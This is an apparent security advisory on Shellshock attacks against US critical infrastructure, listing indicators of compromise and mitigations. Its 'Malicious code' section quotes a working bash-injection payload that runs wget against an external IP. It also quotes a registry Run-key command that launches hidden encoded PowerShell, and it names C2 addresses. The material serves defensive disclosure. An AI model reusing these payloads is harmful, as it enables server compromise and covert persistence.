X-Industry

Cyber actors are targeting US critical infrastructure using a malicious attachment leveraging the “shellshock” vulnerability based on historical and current investigative analysis. The same tactics, techniques and procedures (TTPs) could be used against other US critical infrastructure sectors.  US authorities are is providing the following indicators of compromise, identified malicious code, and suspect internet protocol (IP) addresses to assist receiving organizations’ computer network defense.[1]

A malicious attachment leveraging the “shellshock” vulnerability uses arbitrary code execution to upload or run a program by passing variables into the shell called “bash”, a common shell used on Linux systems, by modifying the origin http request to run the variables as commands.  Once the malware was established, it communicated out over http port 8080 to a listening command and control (C2) server.

Malicious code

()+{+:;+};+/bin/bash+-c+'wget+http://176.126.85.127:8080/megatron+-O+/dev/null'

"shellshock" vulnerability:

()+{+:;+};+/bin/bash+c+'wget+http://176.126.85.127:8080/megatron+-O+/dev/null'

l__l_=%7CF3Jk%7E6k6

default.php

Registry keys

User registry keys:

Key: Software\Microsoft\Windows\CurrentVersion Value: Debug: (Base64 encoded string)

Key: Software\Microsoft\Windows\CurrentVersion\Run

Value: Updater: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” –c “$x=$((gp

HKCU:Software\Microsoft\Windows\CurrentVersion Debug).Debug);powershell –Win Hidden –enc $x”

C2 server: http://199.71.234.66:8080/index.asp

C:/windows/mssecsvr[.]exe

IP’s Beaconing over port 8080

User-Agent String: Iceweasel/31.8.0

Suspicious IP Addresses

Recommended Mitigations

We suggest precautionary measures to mitigate the threats posed by this vulnerability, specifically scrutinizing any links and/or attachments included in unsolicited emails.  In addition to limiting the attack vector, it is important to limit the exposure if a network breach occurs.  Proper network segmentation and segregation will assist in limiting exposure of the network and lateral movement of the adversary.  This is always a good cyber security practice.  Precautionary measures to mitigate these techniques include:

• Prepare an incident response plan to be rapidly implemented in the event of a cyber intrusion.
• Implement multifactor authentication to protect individual accounts.
• Patch all systems for critical vulnerabilities, prioritizing timely patching of Internet-connected servers for known vulnerabilities and software that processes internet data, such as web browsers, browser plugins, and document readers.
• Scrutinize links contained in e-mails and do not open attachments included in unsolicited e-mails.
• Implement application whitelisting to block execution of malware, or at least block execution of files from TEMP directories, from which most phishing malware attempts to execute.
• Randomize local administrator passwords to inhibit lateral movement across workstations.
• Ensure patches are applied and networks are upgraded to the most up to date version of bash to mitigate an attackers ability to use “() {:;};” to remotely exploit the bash shell.

For questions or comments regarding this report, please contact Wapack Labs at 603-606-1246, or feedback@wapacklabs.com

[1] FBI Flash Report / MC-000097-MW  fbi.gov